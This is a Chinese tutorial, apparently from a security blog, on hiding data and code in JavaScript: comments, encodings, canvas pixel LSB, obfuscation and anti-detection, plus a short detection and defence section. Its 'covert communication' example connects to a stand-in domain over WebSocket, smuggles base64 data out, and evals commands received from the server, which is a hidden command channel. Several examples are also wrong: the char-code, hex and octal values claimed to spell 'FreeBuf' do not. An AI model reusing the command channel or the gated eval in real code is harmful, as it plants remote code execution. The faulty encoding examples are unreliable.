JavaScript奇淫技巧:隐写术
字数 596 2025-08-11 21:26:35

JavaScript隐写术详解

1. 隐写术概述

JavaScript隐写术是一种利用JavaScript语言特性在代码中隐藏信息的技术,常用于:

  • 数据隐蔽传输
  • 版权保护
  • 反调试和反分析
  • 恶意代码隐藏

2. 基础隐写技术

2.1 注释隐藏法

// 普通注释
var x = 1; /* 这里可以隐藏信息 */

// 利用注释的特殊位置
var a = function() {/*
    隐藏的多行信息
    可以放在这里
*/};

2.2 字符串拼接法

// 简单拼接
var secret = "F"+"r"+"e"+"e"+"B"+"u"+"f";

// 利用数组join
var secret = ['F','r','e','e','B','u','f'].join('');

2.3 Unicode编码法

// Unicode转义序列
var str = "\x46\x72\x65\x65\x42\x75\x66"; // FreeBuf

// 更复杂的Unicode组合
var str = "\u0046\u0072\u0065\u0065\u0042\u0075\u0066";

3. 高级隐写技术

3.1 函数动态执行

// 使用Function构造函数
var secret = new Function("return 'FreeBuf'")();

// 使用eval
var code = "66;72;65;65;66;75;66".split(";")
            .map(c => String.fromCharCode(c)).join("");
eval("console.log('"+code+"')");

3.2 属性名隐藏

// 非常规属性名
var obj = {
    ["\x46\x72\x65\x65\x42\x75\x66"]: function() {
        return "hidden data";
    }
};
obj.FreeBuf(); // 调用隐藏方法

3.3 数字隐写

// 数字进制转换
var num = 0x46726565427566; // Hex for "FreeBuf"
var num = 0o103171145104125146; // Octal for "FreeBuf"

// 浮点数隐藏
var pi = 3.141592653589793;
// 在pi的小数部分隐藏信息

4. 图片隐写术与JavaScript

4.1 Canvas像素操作

// 从图片中提取隐藏数据
function extractFromImage(img) {
    var canvas = document.createElement('canvas');
    canvas.width = img.width;
    canvas.height = img.height;
    var ctx = canvas.getContext('2d');
    ctx.drawImage(img, 0, 0);
    
    var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
    var data = imageData.data;
    var result = '';
    
    // 从每个像素的LSB提取数据
    for(var i = 0; i < data.length; i += 4) {
        var r = data[i].toString(2).padStart(8, '0').slice(-1);
        var g = data[i+1].toString(2).padStart(8, '0').slice(-1);
        var b = data[i+2].toString(2).padStart(8, '0').slice(-1);
        result += r + g + b;
    }
    
    // 将二进制转换为ASCII
    var output = '';
    for(var j = 0; j < result.length; j += 8) {
        var byte = result.substr(j, 8);
        output += String.fromCharCode(parseInt(byte, 2));
    }
    
    return output;
}

4.2 数据隐藏到图片

function hideInImage(canvas, text) {
    var ctx = canvas.getContext('2d');
    var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
    var data = imageData.data;
    
    // 将文本转换为二进制
    var binaryText = '';
    for(var i = 0; i < text.length; i++) {
        binaryText += text.charCodeAt(i).toString(2).padStart(8, '0');
    }
    
    // 将二进制数据隐藏到像素的LSB
    var textIndex = 0;
    for(var j = 0; j < data.length; j += 4) {
        if(textIndex < binaryText.length) {
            // 修改红色通道的LSB
            data[j] = (data[j] & 0xFE) | parseInt(binaryText[textIndex++], 10);
            if(textIndex < binaryText.length) {
                // 修改绿色通道的LSB
                data[j+1] = (data[j+1] & 0xFE) | parseInt(binaryText[textIndex++], 10);
            }
            if(textIndex < binaryText.length) {
                // 修改蓝色通道的LSB
                data[j+2] = (data[j+2] & 0xFE) | parseInt(binaryText[textIndex++], 10);
            }
        }
    }
    
    ctx.putImageData(imageData, 0, 0);
    return canvas.toDataURL();
}

5. 反检测技术

5.1 代码混淆

// 变量名混淆
var _0x1a2b = ["FreeBuf", "log", "Hello from "];
console[_0x1a2b[1]](_0x1a2b[2] + _0x1a2b[0]);

5.2 代码分块执行

// 分阶段执行隐藏的代码
function part1() { return "F"; }
function part2() { return "r"; }
function part3() { return "e"; }
// ...其他部分
setTimeout(function() {
    console.log(part1()+part2()+part3()+part4()+part5()+part6()+part7());
}, 1000);

5.3 环境检测执行

// 只在特定环境下执行隐藏代码
if(navigator.userAgent.indexOf('Chrome') > -1) {
    // 执行隐藏功能
    eval(function(p,a,c,k,e,d){/* 混淆的代码 */});
}

6. 实际应用案例

6.1 水印隐藏

function embedWatermark(text) {
    // 将水印信息分散隐藏在多个位置
    window._wm_part1 = text.substr(0, 3);
    document.cookie = "_wm_part2=" + text.substr(3, 3);
    localStorage.setItem("_wm_part3", text.substr(6));
    
    // 验证水印完整性
    setInterval(function() {
        var fullWm = (window._wm_part1 || "") + 
                    (document.cookie.match(/_wm_part2=([^;]+)/)?.[1] || "") +
                    (localStorage.getItem("_wm_part3") || "");
        if(fullWm !== text) {
            // 水印被篡改,采取相应措施
            document.body.innerHTML = "<h1>内容被非法修改</h1>";
        }
    }, 5000);
}

6.2 隐蔽通信

// 使用WebSocket进行隐蔽通信
function stealthyCommunication() {
    var ws = new WebSocket("wss://normal-looking-domain.com/chat");
    
    ws.onopen = function() {
        // 发送看似正常的数据
        ws.send(JSON.stringify({
            type: "user_message",
            content: "Hello there",
            // 隐藏的数据
            metadata: btoa("secret_data=" + Date.now())
        }));
    };
    
    ws.onmessage = function(e) {
        var data = JSON.parse(e.data);
        if(data.type === "system_update") {
            // 解析隐藏的指令
            var hiddenCmd = atob(data.updateId);
            eval(hiddenCmd);
        }
    };
}

7. 检测与防御

7.1 隐写术检测方法

  1. 静态分析

    • 检查异常长的字符串或数组
    • 查找大量使用eval、Function构造器或setTimeout的代码
    • 分析非常规的变量名和函数名
  2. 动态分析

    • 监控不寻常的网络请求
    • 跟踪eval和Function的执行
    • 检查DOM和存储中的异常数据

7.2 防御措施

// 禁用危险的JavaScript功能
Object.defineProperty(window, "eval", {
    value: function() {
        throw new Error("eval is disabled for security reasons");
    },
    writable: false
});

// 监控可疑的API调用
const originalWebSocket = window.WebSocket;
window.WebSocket = function(url) {
    if(url.includes("suspicious-domain")) {
        console.warn("Blocked connection to suspicious WebSocket endpoint");
        return null;
    }
    return new originalWebSocket(url);
};

8. 总结

JavaScript隐写术是一种强大的技术,可以用于合法和非法目的。关键要点包括:

  • 利用语言特性隐藏信息
  • 图片隐写术与Canvas API的结合
  • 高级混淆和反检测技术
  • 实际应用场景和防御方法

掌握这些技术有助于开发更安全的应用程序,也能更好地理解和防御潜在的恶意代码。

JavaScript隐写术详解 1. 隐写术概述 JavaScript隐写术是一种利用JavaScript语言特性在代码中隐藏信息的技术,常用于: 数据隐蔽传输 版权保护 反调试和反分析 恶意代码隐藏 2. 基础隐写技术 2.1 注释隐藏法 2.2 字符串拼接法 2.3 Unicode编码法 3. 高级隐写技术 3.1 函数动态执行 3.2 属性名隐藏 3.3 数字隐写 4. 图片隐写术与JavaScript 4.1 Canvas像素操作 4.2 数据隐藏到图片 5. 反检测技术 5.1 代码混淆 5.2 代码分块执行 5.3 环境检测执行 6. 实际应用案例 6.1 水印隐藏 6.2 隐蔽通信 7. 检测与防御 7.1 隐写术检测方法 静态分析 : 检查异常长的字符串或数组 查找大量使用eval、Function构造器或setTimeout的代码 分析非常规的变量名和函数名 动态分析 : 监控不寻常的网络请求 跟踪eval和Function的执行 检查DOM和存储中的异常数据 7.2 防御措施 8. 总结 JavaScript隐写术是一种强大的技术,可以用于合法和非法目的。关键要点包括: 利用语言特性隐藏信息 图片隐写术与Canvas API的结合 高级混淆和反检测技术 实际应用场景和防御方法 掌握这些技术有助于开发更安全的应用程序,也能更好地理解和防御潜在的恶意代码。